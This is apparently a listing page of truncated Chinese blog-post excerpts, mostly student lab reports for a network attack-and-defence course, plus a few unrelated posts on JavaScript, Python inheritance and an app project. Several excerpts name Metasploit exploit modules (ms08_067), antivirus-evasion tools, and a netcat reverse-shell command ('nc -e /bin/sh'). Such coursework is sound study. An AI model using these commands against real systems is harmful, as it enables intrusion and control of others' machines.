1.实验要求 一个主动攻击实践,ms08_067; 一个针对浏览器的攻击,MS11-003(唯一): 一个针对客户端的攻击,adobe_toolbutton: 成功应用任何一个辅助模块Ipidseq(唯一). 2.实验过程 2.1一个主动攻击实践,ms08_067 2.1.1在攻击机kali输入msfconsole进入控制台,依次输入以下指令: use exploit/windows/smb/ms08_067_netapi show payloads set payload generic/sh…

一.实践基本内容 1.实践目标 (1) 正确使用msf编码器(√),msfvenom生成如jar之类的其他文件(√),veil-evasion(√),加壳工具(√),使用shellcode编程(√) (2)通过组合应用各种技术实现恶意代码免杀(√) (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(√) 2.实践基础问题回答   (1)杀软是如何检测出恶意代码的? 杀软有一个病…

Exp2 后门原理与实践 任务一:使用netcat获取主机操作Shell,cron启动 1.windows获取linux shell 1.1 ipconfig  查看本机查看以太网适配器(8)的ipv4地址 1.2windows:  ncat.exe -l -p   调用ncat.exe程序来蹲守本机的4325端口 1.3  nc –e /bin/sh  在Kali环境下,使用nc指令的-e参数反向连接Windows主机的4325端口: 2.linux获得windows shell 2.1 Ka…

1.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 2.1 各种搜索技巧的应用 2.1.1 Netcraft查询 Netcraft这个网站可以查询到特定网站的IP地址,以weibo.com为例; 我们可以看到主机信息——linux操作系统,weibo的服务器: 我针对这个IP——36.51.254.234进行一次whois查询(可以看到网站的服务器提供商.) 2.1.2 IP2Loaction 如果目标在国内的话,更推荐纯真IP库(http://www.cz88.net)…

1.实践目标 监控你自己系统的运行状态,看有没有可疑的程序在运行. 分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinternals,systracer套件. 假定将来工作中你觉得自己的主机有问题,就可以用实验中的这个思路,先整个系统监控看能不能找到可疑对象,再对可疑对象进行进一步分析,好确认其具体的行为与性质. 2.实践内容 2.1系统运行监控 使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里.运行一段时间并分析该文件,…

前言:实验中用到的知识 JE:条件转移指令,如果相等则跳转: JNE:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转: JMP:无条件跳转指令.无条件跳转指令可转到内存中任何程序段.转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出: NOP:“空指令”.执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令: CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果.cmp指令执行后,将对标志寄存器产…

20145202马超<网络对抗>Exp5MSF基础应用 本实践目标,掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路.具体需要完成(1)一个主动攻击,如ms08_067;(2)一个针对浏览器的攻击,如ms11_050:(3)一个针对客户端的攻击,如Adobe(4)成功应用任何一个辅助模块. 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分. 实验指导(http://www.cnblogs.com/yayaer/p/6690577.h…

导读: JavaScript和DOM DOM文档对象常用方法和属性 DOW文档对象运用 JSON数据交换格式 正则表达式 1.JavaScript和DOM [返回] 文档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展标志语言的标准编程接口.在网页上,组织页面(或文档)的对象被组织在一个树形结构中,用来表示文档中对象的标准模型就称为DOM.DOM可以以一种独立于平台和语言的方式访问和修改一个文档的内容和结构,可以用于任何编程语言.DOM技术使得用户…

一.面向对象多继承(c3算法) a.有多个父类先找左,再找右,如下示例: class A(object): pass class B(object): def f1(self): print('B') class C(A,B): pass obj = C() obj.f1() print(C.__mro__) # 打印出C类的继承顺序,结果如下一行: # (<class '__main__.C'>, <class '__main__.A'>, <class '__main__…

一.团队介绍 1.团队构成: 2.队名: Daily target,我们的口号是Target your day! 3.团队项目描述: 我们计划写一个用于老师发布任务,学生接受任务的安卓app.教师安排课程,发布课后作业和测验.考试:学生完成教师发布的各项任务,并且也可以给自己安排日程. 初步的功能如下: (1)课程(老师端和学生端): <1> 教师端:发布教学资料以及作业,测验,考试安排,发布通知 <2> 学生端:下载教师的教学资料,提交作业和测验报告,查看老师发布的安排与通知,可…